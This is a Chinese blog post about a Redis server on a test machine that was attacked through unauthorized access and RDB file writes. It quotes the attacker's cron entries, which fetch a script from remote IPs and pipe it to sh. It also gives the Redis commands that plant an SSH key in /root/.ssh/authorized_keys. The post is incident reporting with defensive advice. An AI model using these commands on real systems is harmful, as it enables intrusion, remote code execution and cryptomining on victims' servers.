Redis 也能被攻击?一次Redis被入侵的记录

从Redis漏洞到系统沦陷:一次挖矿病毒入侵的深度溯源与清除实录 本文详细记录了一次因Redis未授权访问漏洞导致的挖矿病毒入侵事件,从异常现象发现、攻击溯源到系统清理与加固的全过程。通过分析top命令异常、chattr命令消失等关键线索,提供了深度清理挖矿病毒的具体操作指南,并分享了Redis安全配置等防护措施,帮助读者有效防范类似攻击。 阅读详情

通过 RDB 方式入侵,Redis 被攻击记录

1. 详情

发现 Redis 中突然多了几个 key

  • backup1
  • backup2
  • backup3
  • backup4

具体内容如下:

*/2 * * * * root cd1 -fsSL http://194.87.139.103:8080/cleanfda/init.sh | sh

*/3 * * * * root wget -q -O- http://194.87.139.103:8080/cleanfda/init.sh | sh


*/4 * * * * root curl -fsSL http://45.133.203.192/cleanfda/init.sh | sh

*/5 * * * * root wd1 -q -O- http://45.133.203.192/cleanfda/init.sh | sh

看起来都是去下载sh脚本的。

然后看了下 Redis 日志,一直再报错:

 Failed opening the RDB file crontab (in server root dir /etc) for saving: Permission denied

大概是RDB的时候,保存时因为没有权限报错了。

然后看了下RDB相关配置:

spider:0>config get dir
 1)  "dir"
 2)  "/etc"
spider:0>config get dbfilename
 1)  "dbfilename"
 2)  "crontab"

好家伙,果然被改了,给改成了/etc/crontab。这不就是定时任务吗

然后再结合上多出来的几个 key 的内容,妥妥的被攻击了。

这RDB如果执行成功了,然后定时任务就算是被添加了,最终把脚本下载下来并执行,妥妥的矿机一个了。

好在是这个 Redis 是用 docker 跑的,权限问题,没有被得手。

因为是测试服务器,随便用 Docker 起了一个,也没设置密码,端口和IP绑定也没改,就差点中招。

被入侵成功的案例:

https://www.codenong.com/txiaoxiaoher-2511379/

网上找了下,还有通过 设置主从同步 的方式被入侵的 redis 的案例:

https://www.renfei.net/posts/1003500

2. 后记

其实本次最大的漏洞是在 docker 运行绑定端口的时候,绑定是的 0.0.0.0:6379。正确的应该绑定 127.0.0.1:6379。

首先,docker 在绑定端口的时候直接修改了防火墙,如果不指定IP,那么默认是 0.0.0.0:6379,docker 设置防火墙开放 0.0.0.0:6379,任何 IP 都可以访问 6379。但你如果设置 127.0.0.1:6379,那只有本机地址能访问 6379。所以造成了端口向外暴露。docker 会接管防火墙!

防火墙相关文档 https://www.cnblogs.com/qjfoidnh/p/11567309.html

其次,因为原本设计的 redis 是内部使用,并不对外公开,也就没有密码,直接裸奔,也造成了端口暴露以后在全互联网裸奔的情况。

最后,redis 是可以将内容保存到本地磁盘中的,这就造成了通过 redis 间接可以写入文件,例如:

redis 执行以下命令,将 ssh key 写入被害机器,注意首尾要加换行符

set jjj "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABA....\n\n"
config set dir /root/.ssh
config set dbfilename authorized_keys
save

此时就将 ssh key 写入了 /root/.ssh/authorized_keys,就实现了免密登陆,黑客可以直接 ssh 进来了。同理还可以写入定时任务文件,让被害机器执行黑客的脚本。

解决方案

  • 1)docker 开放端口的时候一定要指定 IP 地址
  • 2)给 redis 增加密码验证

江湖凶险,即使是个测试服务器也不能掉以轻心

记一次Redis被入侵(被黑)处理过程 通常作为一名后端程序员,并没有系统的学习过关于服务器安防相关的知识,遇到服务器被黑的情况往往比较迷茫,不知道从何下手。服务器可能遭受的攻击多种多样,以下主要讲述的是我本次遇到的一次服务器被黑客拿来当矿机的处理过程。 攻击的发现 之所以发现服务器被攻击了是因为有用户反馈系统卡顿非常严重,我知道一般用户反馈描述的那个时间点不应该会有这么高的延迟的,所以就登录服务器查看以下CPU等资源的消耗情况。(挖矿... 阅读详情

相关推荐

MATLAB同步发电机励磁控制系统仿真:从PID整定到波形分析

在电力系统自动化领域,同步发电机的励磁控制是维持机端电压稳定与无功功率平衡的核心技术。理解励磁系统的闭环调节原理,不仅是电气工程专业课程设计的关键,也是现场调试工程师必备的技能。借助MATLAB/Simulink强大的仿真平台,可以直观地复现自动电压调节器(AVR)的完整工作过程。本文从励磁系统的基本工作原理出发,详细讲解同步电机模型选型、PID控制器参数整定方法,以及空载起励和负载突变工况下电压、励磁电流的动态响应波形。通过激励系统仿真实践,能够深入理解电压反馈、限幅、调差等工程细节,为解决实际电力系统中

weixin_33978044的博客 390

记录Redis和MySQL被扫描注入攻击

no 弱密码

qq_44610529的博客 1526

右腿驱动电路设计:从共模干扰原理到生物电采集实战

在生物电信号采集领域,共模干扰是影响测量精度的核心挑战之一,其本质源于环境电磁场通过容性耦合在人体表面产生的感应电流。根据欧姆定律,由于人体组织阻抗的不均衡性,共模电流会在不同测量点产生差异化的压降,从而转化为难以滤除的差分噪声。为解决这一问题,右腿驱动技术应运而生,它通过负反馈原理主动抵消干扰,显著提升系统的共模抑制比。该技术广泛应用于心电图、脑电图等医疗电子设备中,是确保微弱生理信号质量的关键环节。本文结合工程实践,深入剖析了右腿驱动电路中的仪表放大器选型、反馈环路稳定性设计以及PCB布局布线要点,为高

weixin_31476015的博客 443

Redis —— 一次错误记录

今天在使用 Redis 存储数据时,发现数据每隔一段时间就会消失,刚开始以为是数据过期时间的问题,使用 QuickRedis 连上 Redis 后,发现数据的过期时间也没有问题,但却发现 数据库0 莫名其妙多出几个 key(backup1、backup2、backup3、backup4),接着我去查看了 Redis 的运行日志,发现 Redis 一直报这个错。,在网上搜索了一番之后,最终确定 Redis 可能遭受了 RDB 方式的入侵攻击。

weixin_51123079的博客 2166

药物相关 PK(药代动力) 、PD(药效)指标知识

PK代表药物的药代动力学,指的是药物在体内的吸收、分布、代谢和排泄等过程,包括药物的药代动力学参数如Cmax(最大血药浓度)、Tmax(最大血药浓度出现的时间)、t1/2(半衰期)、AUC(药物曲线下面积)等。PD代表药物的药效学,指的是药物与生物体相互作用所产生的药理效应,包括药物的药效学参数如EC50(半数最大有效浓度)、ED50(半数最大效应剂量)、Emax(最大效应)等。PD(Pharmacodynamics)则研究药物的药效学特性,如药物的作用机制、效力、最大疗效、最小毒性等。

weixin_42357472的博客 2万+

MMC混合型换流器系统设计与开关模型仿真

摘要:本文针对220kV交流/400kV直流电压等级,设计了由20个半桥和20个全桥子模块组成的混合型MMC换流器系统。通过建立开关函数等效模型,研究了其拓扑结构、工作原理及控制策略,包括NLM调制、电容电压均衡和环流抑制。MATLAB/Simulink仿真结果表明,系统直流电压波动控制在±5%以内,交流电流THD低于1.8%,验证了混合型MMC在高压大功率应用中的良好性能。该研究为工程实践提供了参考依据。 关键词:模块化多电平换流器;开关函数模型;混合子模块;最近电平逼近调制;电容电压均衡

huanghm88的专栏 133

解决redis的key都变成了backup,redis所有缓存被清空

找到redis的配置文件redis.conf重启redis容器,问题解析来源:Redis 未授权访问漏洞分析 cleanfda 脚本复现漏洞挖矿 https://www.renfei.net/posts/1003501。

xianchao0127的博客 2248

二极管钳位电路、限幅电路和检波电路Multisim电路仿真

本文系统介绍了二极管钳位、限幅和检波三种基础电路的工作原理及Multisim仿真验证。钳位电路通过电容-二极管配合实现波形整体平移,将波峰或波谷固定在指定电压;限幅电路利用二极管导通特性削除信号超出设定阈值的部分;检波电路则通过半波整流和电容滤波从调幅波中提取音频信号。三种电路均通过Multisim仿真验证了理论分析结果,展示了二极管在信号处理中的关键作用。这些基础电路广泛应用于信号调理、电平保护和通信解调等领域。

XU157303764的博客 1120

记录第一次云服务器redis被黑

redis里莫名奇妙被写入四个键值对,backup1,backup2,backup3,backup4,内容是奇奇怪怪的sh脚本:*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh。施展百度大法后发现原来被挖矿了.....(redis明明设置了密码.....)解决办法:设置更复杂的redis连接密码,安全组,防火墙。

m0_73520938的博客 928

计算机视觉卷积神经网络(CNN)基础:从LeNet到ResNet

计算机视觉卷积神经网络(CNN)基础:从LeNet到ResNet,在计算机视觉领域,卷积神经网络(Convolutional Neural Network,CNN)已然成为推动众多任务发展的核心力量。从早期简单的图像识别,到如今复杂的目标检测、语义分割、图像生成等任务,CNN 都展现出了卓越的性能。CNN 的发展历程见证了一系列经典模型的诞生,其中 LeNet 作为开山之作,为 CNN 的发展奠定了基础,而 ResNet 则通过创新性的设计,突破了传统神经网络的限制,使得网络能够构建得更深、性能更优。

不踩坑,不知道坑有多深;不总结,踩过的坑白踩。 14万+

【win10】win 10 电脑喇叭音频显示红叉的处理方法

目录 一、报错情况 二、“音频服务未运行”解决方法 三、“未插入扬声器或耳机”解决方法 一、报错情况 (1)当电脑的扬声器喇叭图标上带有红X符号,提示“音频服务未运行”时: (2)小喇叭上面有红叉,显示“未插入扬声器或耳机”时: 二、“音频服务未运行”解决方法 (1)开始菜单搜索“服务”: (2)没有启动的点击“启动”,已启动的点击“重新启动”: (3)继续,右...

顾三殇 —— 博客空间(软件测试) 17万+

阿里云ECS-Centos7.9集群部署Redis服务遭木马攻击

阿里云ECS-Centos7.9集群部署Redis服务遭木马攻击 #背景 阿里云ECS-Centos7.9集群:hadoop202,hadoop203,hadoop204 hadoop202启动redis-server服务 redis.conf配置 #bind 127.0.0.1 protected-mode no #requirepass hadoop202,hadoop203,hadoop204配置了免密 #遭木马入侵,3台机器 CPU占用高 ~/.ssh/authorized_keys遭篡改 cron

lilyliu2535的博客 3194

HighTec安装使用

HighTec安装使用

qq_43552564的博客 3835

记录一次由Redis漏洞引起的服务器遭遇入侵事件

情况概述: 服务器CPU长时间100%占用率,带宽用尽,服务器各种服务启动后自动关闭。阿里云提示有挖矿进程,提示发起DDOS攻击。日志分析:Oct 30 03:50:02 dsdsaa crond: sendmail: fatal: parameter inet_interfaces: no local interface found for ::1 Oct 30 03:55:01 ds

遥远的星星 764

Misc-RAR隐写

题目来自于:XCTF的SimpleRAR,由于涉及到许多新知识,所以写篇小文子记录一下。 一、下载完后是一个压缩包。 里面就有一个flag.txt,打开之后发现有一串字符是flag is not here,而且我们查看他的文件大小,只要十六字节,绝对不可能再藏着什么信息了。 然后把压缩包拉到010editor里面,发现一下子出来好多新的内容,很明显是有夹杂着的附加文件。 二、rar文件头信息。 rar 是由一个一个 block 组成的,每个 block 有以下几个部分 ...

admin的博客 1361

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

记录一次服务器被pnscan病毒攻击的处理理财

记录一次服务器被pnscan病毒攻击的处理理财 起始 凌晨收到腾讯云的安全告警短信大概意思:我的服务器恶意对外攻击。 第一反应就是被挟持了,这个服务器只是用来测试学习用的,所以并不慌。 初步处理 刚开始想无非就是黑客通过开放端口攻击我的服务器然后攻击别人的服务器。 登录服务器查看 netstat -antp tcp 0 1 10.0.20.9:46146 154.236.210.203:6379 SYN_SENT 6494/pnscan

qq_34814794的博客 948

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

阿里云CentOS被minerd入侵,CPU使用率高达100%

发现被入侵 通过SSH登陆上不去云服务器,然后打开了阿里云管理的页面,CPU使用率100%,重启下了,阿里云开启报警提示,设置当CPU>=40%发送短信,然后过了几个小时,短信来了,登陆上去之后就发现了minerd在吃CPU minerd是什么? 百度下minerd 挖矿就知道了 入侵途径 查询后发现是通过Redis来入侵的,因为当时在centos安装完redis之后,没有设置密码

Suu的博客 1054

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

Redis未授权访问事故记录

很久之前还分享了一篇Redis 未授权访问配合 SSH key 文件利用分析给运维同事,不想今天居然遇上了,特此记录。 发现问题:公司游戏的韩国版本今天停服更新之后,公会信息都丢失了,一开始以为是公会数量太多,特定数量的下发包也超过了网络层的包大小限制。 跟踪问题: 1.到现网机器上看redis数据,居然查不到公会数据,不过发现redis居然还是绑定的*,不是内网ip(不过介

cleanfield的专栏 891

redis攻击事件

听到朋友说接到阿里云的报障,提示黑客把他的服务器当肉鸡了,当时有点怕怕,继而官方的网络带宽也爆了进而系统处于瘫痪,当时我需要帮他处理这个问题 1 在没有查到杀手之前我是先把带宽&端口用iptables做了限制这样能保证我能远程操作服务器才能查找原因 2 在各种netstat –ntlp的查看下没有任何异常在top下查到了有异常进...

weixin_34364135的博客 174

服务器由于redis未授权漏洞被攻击

服务器由于redis未授权漏洞被攻击 昨天阿里云拦截到了一次异常登陆,改了密码后就没有管他, 今天阿里云给我发消息说我的服务器可能被黑客利用,存在恶意发包行为。。。。。。。 不过我不打算只是单纯的重置系统,经过一系列的查找原因后,发现被攻击的原因是我的redis没有设置登陆密码(redis 默认情况下,没有配置登陆密码,任意用户可以登录),被黑客利用然后获取到了我的root权

aiku_de_yu的博客 1061

服务器被矿机程序攻击

事件经过 今天早上7:00,收到腾讯云监控发来基础监控告警:某台服务器的CPU利用率为100%。SSH登录到服务器正常,说明root密码还没有被更改,我最初怀疑有可能是DDos攻击。 执行top命令: image.png 发现有个名为qW3xT.2的程序CPU占用高达397.3%,服务器为4核8G...

weixin_33894640的博客 242

阿里云服务器遭受挖矿程序的入侵的清理之战

1. 背景 最近在阿里云服务器上安装了缓存redis,由于没有设置密码,并且开放了6379端口,遭受了挖矿程序攻击。操作系统为centos7。 2. 排查 (1)使用top命令,cpu使用率很少,几乎为0,该图只是演示,不是当时情况,当时情况:cpu使用率为0,空闲100%,明显很有问题 这个时候,说明挖矿程序改变你的服务器,看到的并不真实,这个时候需要一个命令:vmstat 你会发现us为99 id几乎为0 (2)查看Linux的定时任务cron,使用命令crontab -l 命令查看所有的定时任

NicolasLearner的博客 1115

应急响应,2022.12.14 因为redis未授权被干

redis未授权被利用,应急响应

Cfoxer的博客 317

服务器挖矿又出新服务 wnTKYg

wnTKYg同minerd和AnXqV两个一样都是挖矿程序。 一台服务器安装的redis3.2.8(6379端口)的版本,今天发现还是被挖矿,这次和之前的不同服务器的CPU资源没被耗到98%,而是一直维持在70%。同IP端内的另一台服务器redis3.2.8(6000端口)的机器目前没有被挖矿,继续监控中。 临时解决方法跟之前一样。 1、关闭访问挖矿服务器的访问:iptables -I

my8611051316的专栏 1万+

redis后门导致被挖矿minerd解决办法

参考链接:http://www.cnblogs.com/zhouto/p/5680594.html本次产生挖矿minerd***的主要原因是由于redis的漏洞造成;redis安全:http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/在服务器中执行 top 查询,发现有miner...

weixin_34117522的博客 424

我的阿里云服务器成了“矿工”?一次真实的挖矿入侵分析与复盘

本文详细记录了一次阿里云服务器遭遇挖矿脚本入侵的真实案例,从异常检测、入侵溯源到攻防对抗的全过程。作者分享了如何识别隐蔽的挖矿行为,清除恶意进程,并构建有效的安全防护策略,为开发者提供实用的服务器安全防护方案。

weixin_26938645的博客 336
上一篇: Kafka(Go)教程(十二)---Kafka 中的高水位和 Leader Epoch 机制
下一篇: Go语言之 sync.pool 源码分析
探索云原生
博客等级 码龄9年 730粉丝 131原创
评论 7
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值